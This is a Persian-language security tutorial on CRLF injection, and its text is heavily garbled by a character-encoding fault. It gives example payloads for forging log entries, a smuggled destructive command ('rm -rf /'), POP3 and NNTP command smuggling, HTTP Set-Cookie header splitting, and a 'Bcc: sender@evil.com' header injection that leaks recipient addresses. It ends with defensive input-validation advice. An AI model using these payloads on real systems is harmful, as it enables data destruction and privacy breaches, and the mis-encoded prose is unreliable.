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: ّشذاس
کلیِ هطبلت اسائِ شذُ دس ایي هقبلِ تٌْب جٌجِ آهَصشی داشتِ ٍ ًَیسٌذُ ایي هقبلِ ّیچ 

هسئَلیتی سا دس قجبل استفبدُ هخشة اص ایي هقبلِ دس صهیٌِ ًفَر ثِ سیستن ّبی سایبًِ ای  ثِ 

عْذُ ًخَاّذ گشفت ٍ هسئَلیت آى ثِ عْذُ خَاًٌذُ خَاّذ ثَد 

 



: هقذهِ
 دس r\ تا ػلاهت 13 تا مذ اسني CR (CR يا ّواى (تشگطت تِ خظ) Carriage Returnماسامتشّاي  

دٍ  ( دس تشًاهnِ\ تا ػلاهت 10 تا مذ اسني LF )LFيا ّواى  (سفتي تِ سغش تؼذ )Line Feedٍ  (تشًاهِ

هاًٌذ ديگش هفاّين هفيذ دس دًياي ساياًِ ّا ايي دٍ ماسامتش ٍ . ماسامتش اسني سايح غيش قاتل چاج ّستٌذ

. عشص ماس آًْا هَخة ايداد هطنلات اهٌيتي دس مٌاس ماستشد ّاي هفيذضاى هيگشدد

دس يل  (Input)ايي هطنلات تخصَظ دس ٌّگام قشاس گشفتي ايي دٍ ماسامتش دس ًقاط ٍسٍدي دادُ ّا 

دس هقالِ ريل سؼي هينٌين تِ ايي هَضَع مِ چغَس استفادُ ًاهٌاسة دس اداسُ ايي . تشًاهِ تشٍص هينٌذ

. ماسامتشّا هي تَاًذ تاػث هطنلات اهٌيتي خغشًاك گشدد تپشداصين

هاًٌذ  ( تِ ماس هيشٍدEnter خْت تؼييي فطشدُ ضذى مليذ CRLFماسامتش ) CRLF Injectحولات 

دس حالي مِ ًفَرگشاى ّشگض ايي آسية پزيشي سا . ديگش آسية پزيشيْا، سايح ٍ ضٌاختِ ضذُ ًثَد

ًاديذُ ًويگيشًذ هتاسفاًِ تِ تذسيح ٍ تِ دليل ًاديذُ گشفتِ ضذى تَسظ تشًاهِ ًَيساى دس حال تثذيل 

. تِ يل سٍش حولِ فشاگيش است 

 ّش يل تِ CR ٍ LFٍ يا ) CRLFآيذ مِ ًفَرگش تتَاًذ دستَسات   ٍقتي تِ ٍخَد هيCRLFيل حولِ 

ايي هطنل ّن هي تَاًذ يل حفشُ تي اسصش تاضذ ٍ ّن هي تَاًذ دس . سا تِ سيستن تضسيق مٌذ (تٌْايي

دسخِ سيسل ايي حولات دس هَقؼيت ّاي . تؼضي اص هَاسد توام سيستن ّاي ايوٌي ًشم افضاس سا دٍس تضًذ

هتاسفاًِ تِ دليل هطاّذُ هتؼذد ايي حفشُ دس سيستن ّاي هذيشيت هحتَاي . هختلف هتفاٍت است

چٌذيي ٍصاستخاًِ، ساصهاى دٍلتي ٍ تاًل خصَصي ٍ غيش خصَصي تش آى ضذين تا تِ تطشيح ايي حولات 

. تپشداصين

 

: CRLF Injectionحولِ ثِ فبیل ّبی ثجت ٍقبیع اص طشیق حولات 
 اضافِ مشدى هقاديش خؼلي تِ فايل ّاي CRLF Injectionيني اص سادُ تشيي هثال ّا تشاي حولات 

 ٍ يا LF ،CRLFفايل ّاي ثثت ٍقايغ ضاهل ٍقايغ ثثت ضذُ اص عشيق ماسامتش ّاي . ثثت ٍقايغ است

.  هَسد استفادُ قشاس هي گيشدLogFile تِ تٌْايي، تشاي تفنيل هحتَيات يل CRماسامتش

 هَسد استفادُ Log اص هقاديش ٍسٍدي مِ تشاي دسست مشدى ّش CR ٍ LFدس صَستي مِ ماسامتش ّاي 

قشاس هي گيشًذ حزف ًگشدًذ، هيتَاًذ هَسد سَء استفادُ خْت ايداد  يل لاه فايل تغييش يافتِ دس 

. خغَط آى ٍ دسست مشدى هقاديش ٍسٍدي خؼلي دس لاه فايل گشدد

 داسين مِ داساي سِ فيلذ تاسيخ ، ًام ماستشي ٍ تَضيحات logfileتِ ػٌَاى هثال فشض هي مٌين ها يل 

 :هاًٌذ صيش است 

 

 

 



Date            User     Comment 
 

1385-4-16   Black     Salam 
 

1385-6-10   Ali         chekhabar? 
 

:  رخيشُ گشددlogfileدس صَستي مِ اعلاػات اص عشيق يل گضاسُ تِ صتاى پشل هاًٌذ صيش دس 

 
print LOG "$date $user $comment\n;" 

 سا چل ًنٌذ ، ها هي تَاًين هقذاس ٍسٍدي خؼلي صيش سا CR ٍ LF ماسامتش ّاي comment$ٍ تاتغ 

: تِ لاه فايل اضافِ مٌين

1385-6-10    Administrator    HighRisk Bug 
 

:  اص عشيق اسسال هقاديش

 

chekhabar?\n1385-6-10 Administrator HighRisk Bug  
 

 تالا سا هي ًَيسين، هيتَاًين تثيٌين ?chekhabar دس ّواى صهاًي مِ هتي Comment$تِ تاتغ 

.  اضافِ هينٌذLogFileمِ تشًاهِ ها يل هقذاس ٍسٍدي خؼلي سا ًيض تِ 

 

Date      User                             Comment 
 

1385-4-16   Black                      Salam 
 

1385-6-10   Ali                           chekhabar? 
 

1385-6-10   Administrator       HighRisk Bug 
 

 

فشض . تگزاسيذ يل هثال خالة تش تشاي ضوا تضًين تا اص هيضاى خغش ايي آسية پزيشي آگاّي ياتيذ

مٌيذ ها تشًاهِ اي تحت ٍب دس اختياس داسين مِ ًام يل فايل سا اص ماستش دسيافت مشدُ ٍ سپس 

ايي فشهاى يل فشهاى سيستن ّاي ػاهل ليٌَمس است ٍ خْت هطاّذُ ) "ls –a"فشهاًي هاًٌذ 

 دس ٍيٌذٍص است ها "dir"ليست فايل ّا ٍ فَلذس ّا دس يل دايشمتَسي تِ ماس هيشٍد ٍ هطاتِ فشهاى 

تش سٍي آى فايل  (فشض مشدُ اين مِ تشًاهِ تحت ٍب ها دس يل سيستن ػاهل ليٌَمس اخشا هيطَد



 تاضذ ًفَرگش CRLF Injectدس صَستي مِ تشًاهِ تحت ٍب ها داساي آسية پزيشي . اخشا هينٌذ

: هقاديشي هاًٌذ صيش سا اسسال هي مٌذ 

File.txt&lt;CR&gt;&lt;LF&gt;rm –rf / 
 

فشهاًي ) / rm -rf اخشا هي مٌذ ، اها پس اص آى فشهاى "ls –a File.txt"تشًاهِ آسية پزيش فشهاى 

سا ًيض اخشا خَاّذ  (فايل ّا دس يل پاستيطي دس سيستن ػاهل ليٌَمسخْت پاك مشدى تواهي 

دس حال اخشا تاضذ ضل ًنٌيذ ايي  ( دس ليٌَمسRoot)دس صَستي مِ تشًاهِ دس سغح هذيش !! مشد

 سا پاك خَاّذ Rootچشا مِ تواهي فايل ّا دس پاستيطي !! ست مِ اخشا هيطَد آخشيي فشهاى

. (!ضوا ايٌغَس فشض مٌيذ)!مشد

 

 

 : CRLF Injectionحولِ ثِ پشٍتكل ّبی ایٌتشًت اص طشیق آسیت پزیشی 
تسياسي اص پشٍتنل ّاي ضثنِ اي مِ دس ايٌتشًت هَسد استفادُ قشاس هيگيشًذ تشاي خَد تؼشيف مشدُ 

 سا تؼذ اص ّش فشهاى اي مِ تِ يل سشٍس اسسال CRLFاًذ مِ ماستشاى تايذ تشميثي اص يل ماسامتش 

 مِ تشاي قشاس دادى فشهاى ّا دس مٌاس ّن استفادُ CR ٍ LFاگش ماسامتش ّاي . هيگشدد تفشستٌذ

هيطَد اص هقاديش ٍسٍدي ٍ اسسالي تِ سشٍس حزف ًگشدًذ، هيتَاًذ هَسد سَء استفادُ خْت اسسال 

فشهاى ّاي هتؼذد دس يل صهاى گشدد دس حالي مِ تٌْا فشهاى اٍل اص عشيق ها ساختِ ٍ اسسال ضذُ 

ٍ هَسد تاييذ قشاس گشفتِ ٍ تقيِ فشاهيي تذٍى ّيچ هناًيضم تاييذ صلاحيتي اص فيلتش ّا ػثَس هي 

. مٌٌذ

 خْت پاك مشدى " DELE x" خْت دسيافت پيام ّا ٍ " RETR x" اص فشهاى ّاي POP3پشٍتنل 

: دس صَستي مِ تشًاهِ سشٍيس گيشًذُ يل فشهاى اص عشيق سضتِ اي هاًٌذ . آًْا استفادُ هينٌذ

"RETR $msg\025\016" ِخْت دسيافت يل پيام ايداد مشدُ ٍ سضت $msg اص ًظش داسا تَدى 

 اص عشيق 2 سا دس ٌّگام پاك مشدى پيام 1 تشسسي ًگشدًذ ، ها هيتَاًين پيام CR ٍ LFماسامتش ّاي 

ايي سضتِ يل خغي دٍ !.   تخَاًينmsg$    تِ سضتِ  "016DELE 2\025\1"دادى هقاديش  

 :فشهاى صيش  سا تِ سشٍس اسسال  هينٌذ

RETR 1 
DELE 2 

 

 تشاي اسسال ”POST“ خْت دسيافت پيام ّا  ٍ فشهاى "ARTICLE x" اص فشهاى NNTPپشٍتنل 

دسيافت يل پيام  تا استفادُ دسصَستي مِ تشًاهِ سشٍيس گيشًذُ فشهاًي خْت . آًْا استفادُ هينٌذ

 CR اص ًظش داسا تَدى ماسامتش ّاي id$ ايداد مٌذ  ٍ سضتِ "ARTICLE $id\015\012"اص سضتِ 

 ٍLF تشسسي ًگشدد ، ها هيتَاًين يل پيام سا ّوضهاى تا اسسال هخفياًِ يل پيام ديگش تخَاًين  .!



 :ّشدٍي ايي ضشايظ داساي ٍضؼيت ساختواًي صيش هيثاضٌذ

 
"<KEY><SEP><VAL><NL>" 

، (ٍخَد يل فضاي خالي) “ “ تشاتش <DELE” ، <SEP“  هيتَاًذ فشهاًي هاًٌذ <Key>خايي مِ  

<VAL> 1" تشاتش"  ٍ <NL> يل CRLFدس صَستي مِ فيلذ .  است<VAL> هقاديشش سا اص يل 

ٍسٍدي ٍ اص ماستش دسيافت مٌذ ٍ هداص تِ داسا تَدى ًَع اعلاػات يافت ضذُ دس فيلذّاي 

<KEY>,<SEP> ٍ <NL>تاضذ آسية پزيشي رمش ضذُ ٍخَد خَاّذ داضت  .
 

 

ًشم افضاس تحت  ّب دس یك Mail ،News ٍ Web Headerحولِ ثِ سشٍیس 

 : CRLF Injectآسیت پزیش ثَسیلِ حولات ٍة 
 دس خايي مِ ّش خظ تِ "Key: Value" ّوگي داساي ساختاس HTTPّذسّاي هيل، اخثاس ٍ 

 تا تؼشيف ّذس HTTPپشٍتنل  . هيثاضٌذ خذا هيطًَذCRLFٍسيلِ تشمية ماسامتش ّاي 

"Location:" تشاي اًتقال يل آدسس تِ يل آدسس ديگش  ( ػولياتRedirect)  ّوچٌيي ّذس ٍ

"Set-Cookie:" خْت تٌظين يل Cookie اص عشيق قشاس دادى ماسامتش ّاي CR ٍ LF دس قسوت 

مٌذ،  اها هطنل ايٌداست مِ هيتَاى يل اسنشيپت تحت ٍب سا  ٍسٍدي هقاديش ماستش استفادُ هي

 ضذى تِ يل سايت Redirect اص ٍب سشٍس خَدي دس ٌّگام cookieتشاي ايداد ٍ تٌظين يل 

. ديگش فشية داد

 ايداد مٌذ "Location: $url\015\012" اص عشيق سضتِ  Redirectاگش ٍب اسنشيپت ها يل 

 تشسسي ًگشدد ها هيتَاًين ماستش سا تِ يل CR ٍ LF اص ًظش داسا تَدى ماسامتش ّاي url$ٍ سضتِ 

:  تا دادى هقاديشي هاًٌذCoockie مشدى يل Setسايت دس ٌّگام  

http://www.bugtraq.ir/\015\012Set-Cookie: evil=natas  
 داساي اعلاػات حساس تاضذ ٍ مسي تتَاًذ آدسسْايي Coockie ّذايت مٌين ٍ اگش url$تِ سضتِ 

  هطاّذُ هينٌذ سا رخيشُ مٌذ تاػث ايداد يل سيسل Redirectسا مِ يل ماستش ديگش پس اص 

استفادُ اص سٍش هطاتِ تالا دس يل سيستن ايويل هيتَاًذ هَخة فاش ضذى َّيت  .تضسه هيطَد

خَب تياييذ فشض مٌين ها داساي سيستوي ّستين . ّاي ماستشاًي مِ تايذ هحشهاًِ تاقي تواًذ گشدد

اها آدسس ايويل ٍاقؼي دسيافت مٌٌذگاى . مِ ماستشاى هيتَاًٌذ تِ ديگش ماستشاى ايويل اسسال مٌٌذ

اگش ها هداص تِ دادى يل هقذاس تِ ّذس ايويل اسسالي خَد تاضين هاًٌذ ّذس . ايويل هخفي است

 تشسسي ًگشدًذ، CR ٍ LF  ٍ ايي هقذاس ٍسٍدي اص ًظش داسا تَدى ماسامتش ّاي  ”:Subject“ٍسٍدي 

 تِ ّوشاُ آدسس ايويل ”:Bcc“  ٍ سپس يل فيلذ CRLFها هيتَاًين اص عشيق تشمية ماسامتشّاي 

تا ايٌناس دس ّواى صهاًي مِ ايويل تشاي ماستش هَسد .  استفادُ مٌين ”:Subject“خَدهاى دس ّذس 



ّذف اسسال هيگشدد تِ صَست هخفياًِ تشاي ها ًيض اسسال هيگشدد ٍ تِ ايي ٍسيلِ َّيت دسيافت 

 : اسسالي صيش ًگاُ مٌيذ Subjectتِ . مٌٌذگاى ايويل فاش خَاّذ ضذ
 

Subject:  Ali, I see you&lt;CR&gt;&lt;LF&gt;Bcc: sender@evil.com 
 

ٍقتي تشًاهِ آسية پزيش اعلاػات تالا سا دسيافت هينٌذ يل خظ سا تذٍى ايٌنِ تخَاّذ تِ ّذس 

ايويل اضافِ هينٌذ، دس ايي حالت تشًاهِ تِ صَست مَسمَساًِ يل مپي اص ايويل سا تِ ايويل 

دس ايي مپي اسسالي فيلذ  (Sender@evil.com)ضخصي مِ ايويل سا اسسال مشدُ هيفشستذ 

"To"پست النتشًٍينيٍ تِ ايي ٍسيلِ آدسس !!  مِ آدسس هيل ّذف است قاتل هطاّذُ است 

!!. گيشًذُ تشاي فشستٌذُ آضناس هيطَد
 

: ٍضؼيت ّاي تالا تِ عَس ملي داساي حالت صيش هيثاضٌذ

 ”Subject“ مِ هيتَاًذ <KEY>.  مِ دس تالا رمش ضذ ”<KEY><SER><VAL><NL>“فشاهيي 

 مِ <VAL>،  ( ":Subject"دقت مٌيذ ها ًَضتِ تَدين  ) هيثاضذ ":" مِ ػلاهت <SEP>تاضذ ، 

 قاًًَي CRLF مِ يل <NL> هيثاضذ ٍ دس ًْايت CRLFدقيقا ًقغِ سَء استفادُ خْت تزسيق 

. است
 

: هیضاى خطش ایي حولات ٍ سٍش هقبثلِ ثب آى 
دس تؼضي اص اًَاع تشًاهِ ّا ايي حفشُ هيتَاًذ تسياس خغشًاك ٍ هاًٌذ يل سن مطٌذُ ٍ هْلل تشاي 

دس ضشايظ ّاي ديگش ايي حفشُ هيتَاًذ يل حفشُ مَچل تا اسصش . سيستن ايوٌي تشًاهِ ّا تاضذ

تواهي ايي تغييشات دسخات خغش ٍاتستِ تِ ايي است مِ ايي حفشُ چِ هدَص ّايي . ًفَر پاييي تاضذ

تِ ماستشاى خْت اًدام ماسّايي مِ ًثايذ اًدام دٌّذ هيذّذ ٍ ايي هَضَع ماهلا ٍاتستِ تِ هؼواسي 

. تشًاهِ ضواست

 ّن هيثاضذ ًياصهٌذ استفادُ اص تنٌيل CRLF Inject مِ ضاهل Injectionخلَگيشي اص حولات 

ايوي ًگِ داضتي تشًاهِ ّاي ًَضتِ ضذُ تَسظ ضوا دس هقاتل . ّاي خَب تشًاهِ ًَيسي است

 ًياصهٌذ تَخِ اي هاًٌذ تَخِ اي مِ تشًاهِ ًَيساى تِ حولات تسياس CRLF Injectionحولات 

ّويطِ ايي اصل سا دس تشًاهِ . هينٌٌذ است (SQLسيق مذ تِ پايگاُ دادُ صت) SQL Injectسايح 

ّش ٍسٍدي اي مِ اص يل هٌثغ خاسج !  ّيچَقت تِ هقاديش ٍسٍدي اػتواد ًني": ّايتاى سػايت مٌيذ

ّش ماسامتشي مِ تا ًَع دادُ ّاي پيص تيٌي ! اص مٌتشل ضوا ٍاسد تشًاهِ هيطًَذ تايذ تشسسي ضَد 

 تِ ػٌَاى ".ضذُ خَس دس ًوي آيٌذ پيص اص اخشاي ّش ػولياتي تش سٍي آى تَسظ تشًاهِ، حزف گشدًذ

 سا تؼشيف مشدُ ايذ تايذ Subjectخظ  (مِ دس تالا رمش ضذ)هثال اگش ضوا دس تشًاهِ ايويل خَد 

ّوِ اعلاػات ٍسٍدي ايي فيلذ تٌْا اص ًَع ػذد، حشف ٍ يا ًقغِ تاضذ ٍ اگش تشًاهِ ضوا تشاي دسيافت 

اسن يل فايل ايداد ضذُ است تٌْا ماسامتش ّاي هؼتثش تشاي اسن فايل تايذ خضٍ اعلاػات تاضٌذ  دس 

mailto:Sender@evil.com
mailto:Sender@evil.com


 دس تشًاهِ خَد اقذام مٌٌذ، CR ٍ LFصَستي مِ تشًاهِ ًَيساى ًسثت تِ فيلتش ٍ حزف ماسامتش ّاي 

.  تا ضنست هَاخِ خَاّذ ضذCRLF Injectionحولات 

 اهيذٍاسم اص ايي هقالِ استفادُ ي لاصم سا تشدُ تاضيذ

 

 

 

 

 

 

 

 

 

 
 

 

everything that has a beginning has an end. 
 


